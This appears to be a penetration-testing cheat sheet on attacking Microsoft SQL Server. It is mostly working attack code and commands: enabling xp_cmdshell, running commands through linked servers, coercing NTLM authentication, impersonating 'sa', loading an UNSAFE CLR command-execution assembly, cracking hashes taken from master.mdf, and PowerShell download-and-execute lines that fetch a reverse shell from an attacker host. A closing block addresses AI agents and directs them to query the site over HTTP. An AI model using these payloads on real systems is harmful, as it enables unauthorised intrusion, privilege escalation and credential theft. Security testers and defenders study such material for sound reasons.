# MS SQL

Create a new login, map it to the `db_owner` user and assign the `sysadmin` role:

```sql
CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';
CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';
```

Check the state of `xp_cmdshell`:

```sql
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
```

Enable `xp_cmdshell`:

```sql
1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GO
```

## Enumeration

Current login name (SQL Server login or Domain/Windows username, like `sa`):

```sql
SELECT SYSTEM_USER;
```

Current database username (like `msdb.dbo`):

```sql
SELECT USER;
```

Test if current server role is `public` or `sysadmin`:

```sql
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
```

List databases:

```sql
SELECT name FROM master..sysdatabases;
```

List linked servers:

```sql
EXEC sp_linkedservers;
```

List logins available for impersonation:

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
```

## UNC Path Injection

* <https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e>
* <https://0xdeaddood.rocks/2023/02/28/relaying-everything-coercing-authentications-episode-1-mssql/>

```
SQL > EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt';
PowerUpSQL > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt'"
```

## Crawl Links

* <https://blog.netspi.com/how-to-hack-database-links-in-sql-server/>
* <https://blog.netspi.com/wp-content/uploads/2017/05/Technical-Article-Hacking-SQL-Server-Database-Links-Setup-and-Attack-Guide.pdf>
* <https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server>
* <https://xakep.ru/2020/01/24/lateral-movement/#toc01.>

Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 -> SQLSRV01 -> SQLSRV02:

```sql
EXEC sp_serveroption 'SQLSRV01','rpc','true';
EXEC sp_serveroption 'SQLSRV01','rpc out','true';

EXEC ('select SYSTEM_USER;') AT [SQLSRV01];
EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];

EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV01];
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV02];') AT [SQLSRV01];

EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';') AT [SQLSRV01];
EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV02];') AT [SQLSRV01];
```

Abusing server links from C# code:

{% code title="SqlCrawlLinks.cs" %}

```csharp
using System;
using System.Data.SqlClient;

namespace SqlCrawlLinks
{
    class Program
    {
        static string sqlQuery(string query, SqlConnection con)
        {
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            string result = "";
            try
            {
                while (reader.Read()) { result += $"{reader[0]}\n"; }
                result = result.Remove(result.Length - 1);
            }
            catch { }
            reader.Close();
            return result;
        }

        static void Main(string[] args)
        {
            // Authenticate
            string sqlServer = "SQLSRV01.corp1.com";
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed");
                Environment.Exit(0);
            }

            // List linked servers
            string result = sqlQuery("EXEC sp_linkedservers;", con);
            Console.WriteLine($"[*] Linked SQL servers:\n{result}");

            // Enumerate current login on the linked server
            result = sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER as login');", con);
            Console.WriteLine($"[*] Executing as the login {result} at SQLSRV02");

            // Enable xp_cmdshell on the linked server
            sqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV02];", con);

            // RCE via EXEC at on the linked server
            result = sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);
            Console.WriteLine($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}");

            // RCE via OPENQUERY on the linked server
			sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_configure ''show advanced options'',1; reconfigure; EXEC sp_configure ''xp_cmdshell'',1; reconfigure;');", con)
            sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';');", con);

            // Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02)
            sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV01];') AT [SQLSRV02];", con);
            sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV01];') AT [SQLSRV02];", con);

            con.Close();
        }
    }
}
```

{% endcode %}

Crawl links with MSF:

```
msf > use exploit/windows/mssql/mssql_linkcrawler
msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS 192.168.1.11
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run
```

Crawl links with PowerUpSQL:

```
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest
PS > Get-SQLServerInfo -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLQuery -Instance "sqlsrv01.megacorp.local,1433" -Query "select * from openquery(""sqlsrv02.megacorp.local"", 'select * from information_schema.tables')"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433" -Query "SELECT * FROM master..syslogins" | ft
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local\SQLEXPRESS" -Username sa -Password "Passw0rd!" -Query "SELECT name FROM master..sysdatabases"
```

### LDAP Enumeration via OpenQuery

* <https://keramas.github.io//2020/03/28/mssql-ad-enumeration2.html>

## External Scripts

* <https://docs.microsoft.com/en-us/sql/machine-learning/tutorials/quickstart-python-create-script?view=sql-server-ver15>
* <https://www.sqlshack.com/how-to-use-python-in-sql-server-2017-to-obtain-advanced-data-analytics/>

Enable external scripts:

```sql
EXEC sp_configure 'external scripts enabled,1';
```

Run Python code:

```sql
EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\web.config'', ''r'') as f:
    print(f.read())
'
```

## master.mdf

* <https://xpnsec.tumblr.com/post/145350063196/reading-mdf-hashes-with-powershell>
* <https://github.com/xpn/Powershell-PostExploitation/tree/master/Invoke-MDFHashes>
* <https://www.nucleustechnologies.com/blog/mdf-file-location-in-sql-server-2014-2016-2017/>
* <https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1>
* <https://github.com/jschicht/RawCopy>
* <https://specterops.io/blog/2025/04/08/the-sql-server-crypto-detour/>

```
PS > Invoke-NinjaCopy -Path "C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\master.mdf" -LocalDestination "C:\Windows\Temp\master.mdf"
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll")
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll")
PS > . .\Get-MDFHashes.ps1
PS > Get-MDFHashes -mdf "C:\Windows\Temp\master.mdf"
$ hashcat -m 132 -O -a 0 -w 3 --session=mssql -o mssql.out mssql.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```

## C# Examples

* <https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/MSSQL/Program.cs>

{% code title="MSSQL.cs" %}

```csharp
using System;
using System.Data.SqlClient;

namespace MSSQL
{
    class Program
    {
        static string sqlQuery(string query, SqlConnection con)
        {
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            string result = "";
            try
            {
                while (reader.Read()) { result += $"{reader[0]}\n"; }
                result = result.Remove(result.Length - 1);
            }
            catch { }
            reader.Close();
            return result;
        }

        static void Main(string[] args)
        {
            // Authenticate
            string sqlServer = "SQLSRV01.megacorp.local";
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed");
                Environment.Exit(0);
            }

            // Enumerate login name (SQL Server login or Domain/Windows username)
            string result = sqlQuery("SELECT SYSTEM_USER;", con);
            Console.WriteLine($"[*] Logged in as: {result}");

            // Enumerate database username
            result = sqlQuery("SELECT USER;", con);
            Console.WriteLine($"[*] Mapped to the user: {result}");

            // Check if we have public role assigned
            result = sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);
            Int32 val = Int32.Parse(result.ToString());
            if (val == 1)
            {
                Console.WriteLine("[*] User is a member of public role");
            }
            else
            {
                Console.WriteLine("[*] User is NOT a member of public role");
            }

            // Invoke xp_dirtree to coerce authentication on attacker's machine
            string lhost = args[0];
            sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);
            Console.WriteLine($"[*] Invoked xp_dirtree against {lhost}");

            // Enumerate logins that we can impersonate
            result = sqlQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';", con);
            Console.WriteLine($"[*] Logins that can be impersonated:\n{result}");

            // Impersonate sa user
            result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
            Console.WriteLine($"[*] Executing in context of impersonated user: {result}");

            // Impersonate dbo database user
            result = sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);
            Console.WriteLine($"[*] Executing in context of impersonated login: {result}");

            // Execute OS commands via xp_cmdshell
            sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
            sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;", con);
            Console.WriteLine("[+] Enabled xp_cmdshell");
            result = sqlQuery("EXEC xp_cmdshell whoami", con);
            Console.WriteLine($"[*] xp_cmdshell: {result}");

            // Execute OS commands via Ole Automation Procedures
            sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
            sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);
            sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c echo Test > C:\Windows\Tasks\out.txt';", con);

            con.Close();
        }
    }
}
```

{% endcode %}

### Custom Assemblies

Load and trigger custom assembly:

{% code title="SqlCustomAssembly.cs" %}

```csharp
using System;
using System.Data.SqlClient;

namespace SqlProcedure
{
    class Program
    {
        static string sqlQuery(string query, SqlConnection con)
        {
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            string result = "";
            try
            {
                while (reader.Read()) { result += $"{reader[0]}\n"; }
                result = result.Remove(result.Length - 1);
            }
            catch { }
            reader.Close();
            return result;
        }

        static void Main(string[] args)
        {
            // Authenticate
            string sqlServer = "SQLSRV01.megacorp.local";
            string database = "master";
            string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("[+] Auth success!");
            }
            catch
            {
                Console.WriteLine("[-] Auth failed");
                Environment.Exit(0);
            }

            // Impersonate sa user
            sqlQuery("EXECUTE AS LOGIN = 'sa';", con);

            // Drop existing procedure and assembly
            sqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);
            sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con);

            // Enable CLR integration
            sqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security',0; RECONFIGURE;", con);
            Console.WriteLine("[+] Enabled CLR integration");
            // Create new assembly
            sqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\SqlCmdExec.dll' WITH PERMISSION_SET = UNSAFE;", con);
            //sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNSAFE;", con);
            Console.WriteLine("[+] Created new assembly");
            // Create new procedure
            sqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly1].[StoredProcedures].[SqlCmdExec];", con);
            Console.WriteLine("[+] Created new procedure");
            // Trigger custom class for RCE
            string result = sqlQuery("EXEC SqlCmdExec 'whoami';", con);
            Console.WriteLine($"[*] SqlCmdExec: {result}");

            con.Close();
        }
    }
}
```

{% endcode %}

Custom assembly code example (must be compiled to `SqlCmdExec.dll`):

{% code title="SqlCmdExec.cs" %}

```csharp
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec(SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format($@" /c {execCommand}");
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
        proc.WaitForExit();
        proc.Close();
    }
}
```

{% endcode %}

Convert custom assembly DLL to a hex string:

{% code title="Convert-AssemblyToHex.ps1" %}

```powershell
$assemblyFile = "SqlCmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt
```

{% endcode %}

## Tools

* <https://www.heidisql.com/download.php>

### sqsh

```
$ sqsh -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/rev.ps1')"
2> GO
```

### mssqlclient.py

```
$ mssqlclient.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 [-windows-auth]
SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.13.37/rev.ps1\")"
```

### mssql\_shell.py

* <https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py>

Change `MSSQL_SERVER`, `MSSQL_USERNAME` and `MSSQL_PASSWORD` before running.

A scenario when [abusing SeImpersonatePrivilege with PrintSpoofer](/pentest/infrastructure/ad/privileges-abuse.md#printspoofer) (BadPotato):

```
$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD pwn.exe \Windows\System32\spool\drivers\color\pwn.exe
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\spool\drivers\color\potato.ps1
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn.exe"
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAEIAYQBkAFAAbwB0AGEAdABvAC4AcABzADEAOwAgAEkAbgB2AG8AawBlAC0AQgBhAGQAUABvAHQAYQB0AG8AIAAtAEMAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABzAHAAbwBvAGwAXABkAHIAaQB2AGUAcgBzAFwAYwBvAGwAbwByAFwAcAB3AG4ALgBlAHgAZQAiAAoA
```

### mssql-cli

* <https://github.com/dbcli/mssql-cli>

```
$ python -m pip install mssql-cli
$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
```

### PowerUpSQL

* <https://github.com/NetSPI/PowerUpSQL>

```
PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "project" -SampleSize 5 | select instance, database, column, sample | ft -autosize
PS > Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 -Username sa -Password 'Passw0rd!' -Verbose
PS > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "select @@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Command "whoami" -RawResults
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose
```

### DAFT

* <https://github.com/NetSPI/DAFT>

### ESC

* <https://github.com/NetSPI/ESC>

### SQLRecon

* <https://github.com/skahwah/SQLRecon>
* <https://github.com/Tw1sm/PySQLRecon>

### mssql-spider

* <https://github.com/dadevel/mssql-spider>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/dbms/mssql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
